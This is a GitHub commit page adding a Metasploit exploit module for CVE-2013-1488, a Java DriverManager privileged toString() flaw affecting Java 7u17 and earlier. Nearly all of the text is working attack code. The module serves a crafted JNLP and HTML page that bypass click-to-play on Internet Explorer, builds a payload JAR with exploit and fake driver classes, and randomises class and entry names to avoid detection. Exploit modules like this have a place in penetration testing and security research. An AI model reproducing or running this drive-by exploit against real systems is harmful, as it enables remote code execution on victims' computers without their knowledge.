Skip to content

Commit 641fd3c

Browse files
author
jvazquez-r7
committed
Add also the msf module
1 parent 7090d46 commit 641fd3c

File tree

1 file changed

+183
-0
lines changed

1 file changed

+183
-0
lines changed
Lines changed: 183 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,183 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
Rank = ExcellentRanking
13+
14+
include Msf::Exploit::Remote::HttpServer::HTML
15+
include Msf::Exploit::EXE
16+
17+
include Msf::Exploit::Remote::BrowserAutopwn
18+
autopwn_info({ :javascript => false })
19+
20+
def initialize( info = {} )
21+
22+
super( update_info( info,
23+
'Name' => 'Java Applet Driver Manager Privileged toString() Remote Code Execution',
24+
'Description' => %q{
25+
This module abuses the java.sql.DriverManager class where the toString() method
26+
is called over user supplied classes, from a doPrivileged block. The vulnerability
27+
affects Java version 7u17 and earlier. This exploit bypasses click-to-play on IE
28+
throw a specially crafted JNLP file. This bypass is applied mainly to IE, when Java
29+
Web Start can be launched automatically throw the ActiveX control. Otherwise the
30+
applet is launched without click-to-play bypass.
31+
},
32+
'License' => MSF_LICENSE,
33+
'Author' =>
34+
[
35+
'James Forshaw', # Vulnerability discovery and Analysis
36+
'juan vazquez' # Metasploit module
37+
],
38+
'References' =>
39+
[
40+
[ 'CVE', '2013-1488' ],
41+
[ 'OSVDB', '91472' ],
42+
[ 'BID', '58504' ],
43+
[ 'URL', 'http://www.contextis.com/research/blog/java-pwn2own/' ],
44+
[ 'URL', 'http://immunityproducts.blogspot.com/2013/04/yet-another-java-security-warning-bypass.html' ],
45+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-076/' ]
46+
],
47+
'Platform' => [ 'java', 'win', 'osx', 'linux' ],
48+
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
49+
'Targets' =>
50+
[
51+
[ 'Generic (Java Payload)',
52+
{
53+
'Platform' => ['java'],
54+
'Arch' => ARCH_JAVA,
55+
}
56+
],
57+
[ 'Windows x86 (Native Payload)',
58+
{
59+
'Platform' => 'win',
60+
'Arch' => ARCH_X86,
61+
}
62+
],
63+
[ 'Mac OS X x86 (Native Payload)',
64+
{
65+
'Platform' => 'osx',
66+
'Arch' => ARCH_X86,
67+
}
68+
],
69+
[ 'Linux x86 (Native Payload)',
70+
{
71+
'Platform' => 'linux',
72+
'Arch' => ARCH_X86,
73+
}
74+
],
75+
],
76+
'DefaultTarget' => 0,
77+
'DisclosureDate' => 'Jan 10 2013'
78+
))
79+
end
80+
81+
82+
def setup
83+
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "Exploit.class")
84+
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
85+
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "FakeDriver.class")
86+
@driver_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
87+
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "FakeDriver2.class")
88+
@driver2_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
89+
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "META-INF", "services", "java.lang.Object")
90+
@object_services = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
91+
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "META-INF", "services", "java.sql.Driver")
92+
@driver_services = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
93+
94+
@exploit_class_name = rand_text_alpha("Exploit".length)
95+
@exploit_class.gsub!("Exploit", @exploit_class_name)
96+
97+
@jnlp_name = rand_text_alpha(8)
98+
99+
super
100+
end
101+
102+
def jnlp_file
103+
jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"
104+
105+
jnlp = %Q|
106+
<?xml version="1.0" encoding="utf-8"?>
107+
<jnlp spec="1.0" xmlns:jfx="http://javafx.com" href="#{jnlp_uri}">
108+
<information>
109+
<title>Applet Test JNLP</title>
110+
<vendor>#{rand_text_alpha(8)}</vendor>
111+
<description>#{rand_text_alpha(8)}</description>
112+
<offline-allowed/>
113+
</information>
114+
115+
<resources>
116+
<j2se version="1.7+" href="http://java.sun.com/products/autodl/j2se" />
117+
<jar href="#{rand_text_alpha(8)}.jar" main="true" />
118+
</resources>
119+
<applet-desc name="#{rand_text_alpha(8)}" main-class="#{@exploit_class_name}" width="1" height="1">
120+
<param name="__applet_ssv_validated" value="true"></param>
121+
</applet-desc>
122+
<update check="background"/>
123+
</jnlp>
124+
|
125+
return jnlp
126+
end
127+
128+
def on_request_uri(cli, request)
129+
print_status("handling request for #{request.uri}")
130+
131+
case request.uri
132+
when /\.jnlp$/i
133+
send_response(cli, jnlp_file, { 'Content-Type' => "application/x-java-jnlp-file" })
134+
when /\.jar$/i
135+
jar = payload.encoded_jar
136+
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
137+
jar.add_file("FakeDriver.class", @driver_class)
138+
jar.add_file("FakeDriver2.class", @driver2_class)
139+
jar.add_file("META-INF/services/java.lang.Object", @object_services)
140+
jar.add_file("META-INF/services/java.sql.Driver", @driver_services)
141+
metasploit_str = rand_text_alpha("metasploit".length)
142+
payload_str = rand_text_alpha("payload".length)
143+
jar.entries.each { |entry|
144+
entry.name.gsub!("metasploit", metasploit_str)
145+
entry.name.gsub!("Payload", payload_str)
146+
entry.data = entry.data.gsub("metasploit", metasploit_str)
147+
entry.data = entry.data.gsub("Payload", payload_str)
148+
}
149+
jar.build_manifest
150+
151+
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
152+
when /\/$/
153+
payload = regenerate_payload(cli)
154+
if not payload
155+
print_error("Failed to generate the payload.")
156+
send_not_found(cli)
157+
return
158+
end
159+
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
160+
else
161+
send_redirect(cli, get_resource() + '/', '')
162+
end
163+
164+
end
165+
166+
def generate_html
167+
jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"
168+
169+
html = %Q|
170+
<html>
171+
<body>
172+
<object codebase="http://java.sun.com/update/1.6.0/jinstall-6-windows-i586.cab#Version=6,0,0,0" classid="clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284" height=0 width=0>
173+
<param name="app" value="#{jnlp_uri}">
174+
<param name="back" value="true">
175+
<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet>
176+
</object>
177+
</body>
178+
</html>
179+
|
180+
return html
181+
end
182+
183+
end

0 commit comments

Comments
 (0)